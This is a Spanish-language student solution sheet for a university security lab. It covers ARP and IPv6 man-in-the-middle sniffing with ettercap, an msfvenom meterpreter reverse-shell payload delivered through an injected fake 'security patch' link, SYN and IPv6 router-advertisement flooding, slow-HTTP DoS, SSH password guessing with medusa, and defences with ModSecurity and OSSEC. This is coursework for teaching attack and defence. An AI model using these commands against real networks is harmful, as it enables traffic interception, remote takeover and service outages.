Práctica 2: la trilogía PDF

Title Práctica 2: la trilogía
Course Lexislación e Seguridade Informática
Institution Universidade da Coruña
Pages 9
File Size 262.7 KB
File Type PDF
Total Downloads 92
Total Views 138

Summary

Soluciones a ejercicios de sniffing, ataques ddos, portscanning, host discovery......


Description

PRÁCTICA 2. CATEGORÍAS DE ATAQUES A) Instale el ettercap y pruebe sus opciones básicas en línea de comando. Instalar con apt-get install ettercap-text-only. Ejecutar con ettercap /// //. Por ejemplo: ettercap /10.10.102.198//22,80 /10.10.102.3,4,5 para ponerse entre esos dos rangos de IP. Si en el kernel no está activado IPv6 debe utilizarse // en vez de /// *NO EJECUTAR ettercap … /// /// (router universal de todas las máquinas) *NO PARAR LA EJECUCIÓN CON CTRL+C, USAR Q •

Argumentos básicos: - -i : usar esa interfaz de red - -P : usar un plugin  repoison_arp: por si alguna máquina actualiza su cache  list: muestra los plugins disponibles - -F : usar un filtro de contenido - -6: mandar ICMPv6 paquetes para descubrir los nodos IPv6 en el link



Argumentos de sniffing y ataques (- M : realiza un ataque mitm): - arp: el tráfico entre esas dos máquinas estrictamente - arp:remote: también lo que llegue de internet - arp:oneway: envenena solo la primera máquina, para evitar que los firewalls detecten spoofing - icmp:…: envía ICMP redirects para indicar que eres el mejor router (route por defecto) - dhcp:…: si alguien configura DHCP le envía la respuesta - port:…: roba el puerto al emitir mucha paquetería con la MAC que queremos tirar



Argumentos de interfaz de usuario: - -T[q]: modo texto [y no mostrar el contenido de paquetes] - -C: usa una GUI



Argumentos de logging: - -w : escribe la salida en un archivo .pac - -L : guarda todo el tráfico en un archivo - -m : guarda todo los mensajes en un archivo

B) Capture paquetería variada ajena que incluya, entre otros, varias sesiones HTTP. Sobre esta paquetería (puede utilizar el wireshark para los siguientes subapartados) 1. ettercap -i ens33 -Tq -P repoison_arp -M arp:remote -w /10.10.102.Y// /10.10.102.5// 2. scp [email protected]:/home/lsi/ ./ 3. Abrir con Wireshark • • • • •

• •

Identifique los campos de cabecera de un paquete TCP: abrir un paquete TCP y expandir dicho nivel. Filtre la captura para obtener el tráfico HTTP: en la barra superior “http” Obtenga los distintos “objetos” del tráfico HTTP (imágenes, pdfs, etc.): Seleccionar el paquete http con petición GET, File > Exportar objetos > HTTP > Save All Visualice la paquetería TCP de una determinada sesión: sobre el paquete TCP Click Derecho > Seguir > Flujo TCP Sobre el total de la paquetería obtenga estadísticas del tráfico por protocolo como fuente de información para un análisis básico del tráfico: Estadísticas > Jerarquía de protocolo Obtenga información del tráfico de las distintas “conversaciones” mantenidas: Estadísticas > Conversaciones Obtenga direcciones finales del tráfico de los distintos protocolos como mecanismo para determinar qué circula por nuestras redes: Estadísticas > Puntos finales

C) Obtenga la relación de las direcciones MAC de los equipos de su segmento. • ping 10.10.102.255. Por defecto no se admiten ICMP redirects de broadcast (/proc/sys/net/ipv4/icmp_echo_ignore_broadcasts) • Crear script que haga ping individual a cada máquina. • nmap -sP 10.10.102.0/24: sondeo ping a toda la red • nast -m -i ens33: sondea la interfaz construyendo una lista de hosts D) Obtenga la relación de las direcciones IPv6 de su segmento. 1. ip neigh flush all: limpia la tabla de vecinos del kernel 2. atk6-alive6 ens33: manda paquetes ICMP por el segmento 3. ip -6 neigh: muestra la tabla de vecinos del kernel E) Obtenga el tráfico de entrada y salida legítimo de su interface de red eth0 e investigue los servicios, conexiones y protocolos involucrados. • ettercap -i ens33 -Tq -M arp:remote -w mytraffic /10.10.102.X// /10.10.102.5// • tcpdump -i ens33 -w mytraffic

F) Mediante arpspoofing entre una máquina objetivo (víctima) y el router del laboratorio obtenga todas las URL HTTP visitadas por la víctima. Víctima: 1. ssh –X lsi@lsihost: forwardea los servicios de X11 a mi servidor X 2. firefox (instalar con apt install firefox-esr) o lynx (por terminal) 3. Visitar páginas http (https cifra la información) Atacante: 4. Cambiar en /etc/ettercap/etter.conf los valores de ec_gid y ec_uid a 0. 5. Descomentar redir_command_on y redir_command_of en etter.conf 6. ettercap -i ens33 -P remote_browser -T -M arp:remote /// /// G) Instale metasploit. Haga un ejecutable que incluya un Reverse TCP meterpreter payload para plataformas linux. Inclúyalo en un filtro ettercap y aplique toda su sabiduría en ingeniería social para que una víctima u objetivo lo ejecute. 1. Instalar: https://computingforgeeks.com/install-metasploit-framework-on-debian/ 2. Dirigirse al directorio del servidor Apache (/var/www/html/) 3. Crear el ejecutable con msfvenom -p linux/x64/meterpreter_reverse_tcp lhost=10.10.102.X lport=1234 -f elf -o 4. Abrir msfconsole: a. use exploit/multi/handler b. set payload linux/x64/meterpreter_reverse_tcp c. set lhost 10.10.102.196 d. set lport 1234 e. exploit: se mantendrá a la espera de que alguien ejecute el archivo 5. En otra terminal, ejecutar el filtro ettercap: html.filter: if (ip.proto == TCP && tcp.dst == 80) { if (search(DATA.data, "Accept-Encoding")) { replace("Accept-Encoding", "Accept-Nothing!"); } } if (ip.proto == TCP && tcp.src == 80) { if (search(DATA.data, "")) { replace("", " Hemos detectado un problema de seguridad! Click aquí para descargar los últimos parches de seguridad""); msg("html injected"); } }

a. etterfilter html.filter –o filter.ef b. ettercap –i ens33 –Tq –F filter.ef –M arp:remote /10.10.102.Y// /10.10.102.5// 6. Desde la máquina víctima, descargar el payload (se puede usar lynx como navegador) 7. Se abrirá en la msfconsole una sesión, a partir de aquí podemos ejecutar comandos como si estuviéramos en la consola de la víctima (sysinfo, shell, execute…).

H) Haga un MITM en IPv6 y visualice la paquetería • atk6-parasite6 ens33 - Activar forwarding: /proc/sys/net/ipv6/conf/all/forwarding • ettercap –i ens33 –Tq –P repoison_arp –M ndp:oneway –w traffic6 //fe80::250:56ff:fe97:251d/ /10.10.102.5// Hacer ping6 entre dos máquinas para comprobar el funcionamiento. I) Pruebe alguna herramienta y técnica de detección del sniffing (arpon, …). Preferiblemente arpon. 1. Instalar arpon 2. Añadir en /etc/arpon.conf las relaciones IP-MAC a securizar 3. Ejecutar systemctl start arpon@ens33 4. Si te hacen ettercap la MAC de las securizadas no deberían cambiar (arp –a). J) Pruebe distintas técnicas de host discovery, port scanning y OS fingerprinting sobre las máquinas del laboratorio de prácticas en IPv4. Realice alguna de las pruebas de port scanning sobre IPv6. ¿Coinciden los servicios prestados por un sistema con los de IPv4?. Firewall: 10.10.102.3,4,5 DNS: 10.10.102.27 Compañero: 10.10.102.Y nmap [args] : -6 para usarlo en IPv6 1. Host Discovery: - -sL: lista cada equipo de la red - -sP: lista cada equipo activo, además de la MAC 2. Port scanning: - -sS: sondeo mediante paquetes SYN (para TCP) (el más recomendado) - -sT: sondeo TCP, útil cuando no se puede usar el anterior - -sU: sondeo UDP (se puede combinar con los anteriores) (tarda mucho) - -p: especifica que puertos en concreto se quieren escanear i. -p15-38,514: sondea los puertos en el rango 15-18 y el puerto 514. Por defecto, escanea los 1000 puertos más comunes. -p- escanea todos. ii. Se puede especificar el protocolo: T:15-38,U:514. Por defecto se escanearán todos los protocolos. iii. Debe ir acompañado de –sU y un tipo de sondeo TCP (-sS, -sT, -sF) iv. ej: -p T:15-38,42,U:514 - -sV: servicios y su versión 3. OS fingerprinting: - -O --osscan-guess: fuerza a averiguar el SO - -A: detección de SO y versión de servicios nmap –sP 10.10.102.0/24: escaneo rápido hosts activos nmap [–sS, –sU] –sV 10.10.102.Y: escaneo de los puertos TCP o UDP con versión nmap –O --oscan-guess 10.10.102.Y: descubrimiento el sistema operativo nmap –sU –p 67 –script=dhcp-discover 10.10.102/24: el abierto es el servidor DHCP (.27)

K) Obtenga información “en tiempo real” sobre las conexiones de su máquina, así como del ancho de banda consumido en cada una de ellas. Establezca un sistema de accounting del subsistema de red de su máquina de laboratorio. Conexiones en tiempo real: 1. Instalar: iftop, nethogs o tcptrack 2. Ejecutar sobre la interfaz: -i ens33 Sistema de accounting: sistema que recolecta información histórica y la almacena en ficheros. 1. Se puede configurar vnstat en su archivo de configuración. 2. vnstat –l –u –i ens33: muestra información en tiempo real 3. vnstat -u –i ens33: genera ficheros para esa interfaz (/var/lib/vnstat/vnstat.log) 4. --days, --weeks, --months: muestra información con dicha periodicidad L) PARA PLANTEAR DE FORMA TEÓRICA.: ¿Cómo podría hacer un DoS de tipo direct attack contra un equipo de la red de prácticas? ¿Y mediante un DoS de tipo reflective flooding attack?. packit –c 0 –b 0 –s –d –F S –S xx –D xx: • -c: número de paquetes (0=inyectar indefinidamente) • -b: cada cuanto tiempo (0=indefinidamente) • -s: ip origen. Usar –sR para utilizar una aleatoria • • • •

-d: ip destino. Usar –dR para utilizar una aleatoria -F: TCP flags (SFAPUR, S=SYN) -S: puerto origen, por defecto es random - 21,80,443: el firewall los deja salir, el origen responde (+ mensajes) -D: puerto destino, por defecto es 0 - 22,80,123,514: lo deja pasar el firewall

Ataque directo: packit –sR –i ens33 –c 0 –b 0 –d –F S –S 80 –D 22 Ataque reflexivo: hping3 –S –p 80 --flood --rand-source 10.10.102.Y: las respuestas de las máquinas aleatorias de Internet inundarán a la víctima. M) PARA PLANTEAR DE FORMA TEÓRICA.: Considerando que todos los sistemas del laboratorio tiene autoconfiguración de la pila IPv6, ¿cómo podría tratar de tirar abajo todos los sistemas? ¿cómo podría hacer flooding en IPv6?. ¿cómo podríamos protegernos? Ejecutar akt6-fakerouter6: Te anuncias a ti mismo como el router e intentas convertirte en el default, si no se proporciona el parámetro MAC entonces resulta en un ataque DOS. Esto funciona si las máquinas tienen configurado SLAAC, protocolo utilizado para autoconfigurar la pila IPv6 y los link-local sin necesidad de un DHCP. La instrucción envía a la dirección multicast mensajes router advertisement, haciendo que todas las máquinas configuren un nuevo linkloca, pongan el procesador a tope y terminen cayendo.

Podemos protegernos deshabilitando IPv6 (Práctica 1) o desactivando la autoconfiguración: /etc/sysctl.conf: net.ipv6.conf.all.autoconf = 0 net.ipv6.conf.all.accept_ra = 0 Se podría hacer flooding en IPv6 con los comandos atk6-flood_XXX6. Existen varios como flood_router6 (envía mensajes router advertisement), flood_rs6 (mensajes de ICMPv6 router solicitation N) Ataque un servidor apache instalado en algunas de las máquinas del laboratorio de prácticas para tratar de provocarle una DoS. Utilice herramientas DoS que trabajen a nivel de aplicación (capa 7). ¿Cómo podría proteger dicho servicio ante este tipo de ataque? ¿Y si se produjese desde fuera de su segmento de red? ¿Cómo podría tratar de saltarse dicha protección? 1. Instalar slowhttptest: manda peticiones y lee las respuestas lentamente, para mantener todas las conexiones activas posibles, aprovechando el exploit de que muchos servidores no limitan la duración de la conexión si está fluyendo información. El tamaño de la ventana en la conexión debe poder ser manipulable. 2. Ejemplos para otros modos en el manual (man 1 slowhttptest) Modo: - -B: Slow Post Mode Opciones de reports: - -g: generar estadísticas con los cambios en el estado del socket - -o : guardar las estadísticas en un archivo Opciones generales: - -c: número de conexiones - -r: conexiones por segundo - -u: URL absoluta del objetivo - -p: timeout a esperar por la repsuesta HTTP en probe connection, tras el cual se considera el servidor como inaccesible - -t: verbo HTTP (GET, POST…) Para evitar estos ataques podríamos: - Rechazar conexiones con verbos no soportados por la URL. - Limitar el tamaño de los headers y del body, de nuevo dependiendo de la URL. - Establecer un timeout absoluto para las conexiones, basándose en alguna estadística. - Establecer un número máximo de conexiones abiertas concurrentes. Para saltarnos algunas de estas protecciones podríamos hacer un DDoS en vez de DoS.

O) Instale y configure modsecurity. Vuelva a proceder con el ataque del apartado anterior. ¿Qué acontece ahora? 1. Cambiar la configuración de /etc/apache2/mods-enabled/req_timeout.conf para bajarle el tiempo en el que emitir un error 408 y reducir el Timeout en /etc/apache2/apache2.conf, 2. Instalar modsecurity (libapache2-mod-security2) 3. Renombrar en /etc/modsecurity/modsecurity.conf-recommended 4. Cambiar SecRuleEngine On 5. Crear una nueva regla en /usr/share/modsecurity-crs/rules/.conf: SecRule RESPONSE_STATUS "@streq 408" "id: 1234123456,phase:5,t:none,nolog,pass, setvar: ip.slow_dos_counter=+1,expirevar:ip.slow_dos_counter=60" SecRule IP:SLOW_DOS_COUNTER "@gt 5" "id:1234123457,phase:1,t:none,log,drop, msg:'Client Connection Dropped due to high # of slow DoS alerts'" 6. La regla 920 quizás se suporpone, en ese caso moverla para otra carpeta. 7. Reiniciar apache2 8. Tests: - Añadir en /etc/apache2/sites-available/000-default.conf: SecRuleEngine On SecRule ARGS:testparam “@contains test” “id:4321,deny,status:403,msg: ’ModSecurity test rule has triggered’ GET http://10.10.102.X/?testparam=test: devuelve 403 Forbidden /var/log/apache2/error.log: Debe aparecer el mensaje especificado -----------------------------------------------------------------------------------------------------------------------------9. Instalar mod_evasive (libapache2-mod-evasive) (opcional, si no funciona lo anterior) 10. Configurar /etc/apache2/mods-enabled/evasive.conf: - Descomentar las opciones predeterminadas - DOSSystemCommand “sbin/iptables –A INPUT –p tcp –dport 80 –s %s –j DROP” 11. Reiniciar apache 12. Comprobar que se cargó el módulo: apache2ctl –M | grep evasive - Si no cargó ejecutar a2enmod evasive 13. Tests: perl /usr/share/doc/libapachd2-mod-evasive/examples/test.pl print $SOCKET "GET /?$_ HTTP/1.0\r\nHost: 127.0.0.1\r\n\r\n"; Debe devolver pocos 200 OK seguido de muchos 403 Forbidden - ab –n100 –c5 http://127.0.0.1/index.html:80 Fallan 97 de 100 peticiones /var/log/apache2/access.log: respuestas con código 403 /va/log/apache2/error.log: errores evasive20 - Después de hacer el slowhttptest, la ip se bloquea (por defecto 10s)

P) Buscamos información: ripe.net, ip6.nl, robtex.com • Obtenga de forma pasiva el direccionamiento público IPv4 e IPv6 asignado a la Universidade da Coruña: ripe.net - 193.144.48.0 – 193.144.63.255; 2001:720:121c::/48 - Viene los responsables (admin-c, tech-c, abuse-c): Javier Fariñas Alvariño • Obtenga información sobre el direccionamiento de los servidores DNS y MX de la Universidade da Coruña: ip6.nl - Tarjetas de correo: nslookup –query=MX udc.es (no hay Authoritative) 104.47.4.36, 104.47.5.36 - Servidores DNS: nslookup –type=NS udc.es 193.144.48.30, 193.144.52.2 host para conocer su dirección IPv4 e IPv6 • ¿Puede hacer una transferencia de zona sobre los servidores DNS de la UDC?. En caso negativo, obtenga todos los nombres.dominio posibles de la UDC. nslookup –query=AXFR udc.es -> operación no autorizada dnsrecon –r 193.144.48.0-193.144.63.255: realiza una búsqueda inversa IP por IP • ¿Qué gestor de contenidos se utiliza en www.usc.es?: www.whatcms.es Ejecutar whatweb www.usc.es - Gestor de contenidos: Drupal - Servidor: Apache/2.4.29 R) Realice algún ataque de “password guessing” contra su servidor ssh y compruebe que el analizador de logs reporta las correspondientes alarmas 1. Instalar medusa 2. Ejecutar medusa –h 10.10.102.X –u lsi –P passdict.txt –M ssh –f - -h: ip de la víctima - -u: usuario a probar - -P: fichero con el diccionario de contraseñas - -M: módulo a usar - -f: parar de escanear tras conseguir un acierto 3. Comprobar en /var/log/auth.log los reportes de accesos

S) Reportar alarmas está muy bien, pero no estaría mejor un sistema activo, en lugar de uno pasivo. Configure algún sistema activo, por ejemplo OSSEC, y pruebe su funcionamiento ante un “password guessing”. 1. Descargar siguiendo las instrucciones de https://kifarunix.com/install-ossec-agent-ondebian-10-buster/, cambiando 3.3.0 por 3.6.0. 2. Ejecutar ./install.sh I. Tipo de instalación: local II. Servidor email: lsi@localhost III. El resto sirven como están por defecto 3. Iniciar el servicio con systemctl start ossec.service 4. Se puede configurar en /var/ossec/etc/ossec.conf. Las alertas las almacena en …/logs/ Ahora tras 3-4 intentos se bloquea el proceso de medusa. Se puede comprobar con iptables –L o en el fichero /etc/hosts.deny que la ip ha sido bloqueada. T) Supongamos que una máquina ha sido comprometida y disponemos de un fichero con sus mensajes de log. Procese dicho fichero con OSSEC para tratar de localizar evidencias de lo acontecido (“post mortem”). Muestre las alertas detectadas con su grado de criticidad, así como un resumen de las mismas. -

Pipear un archivo de /var/log a ossec-logtest: cat auth.log | /var/ossec/bin/ossec-logtest Se pueden crear reportes de las alertas generadas con: cat /var/ossec/logs/alerts/alerts.log | /var/ossec/bin/ossec-reportd...


Similar Free PDFs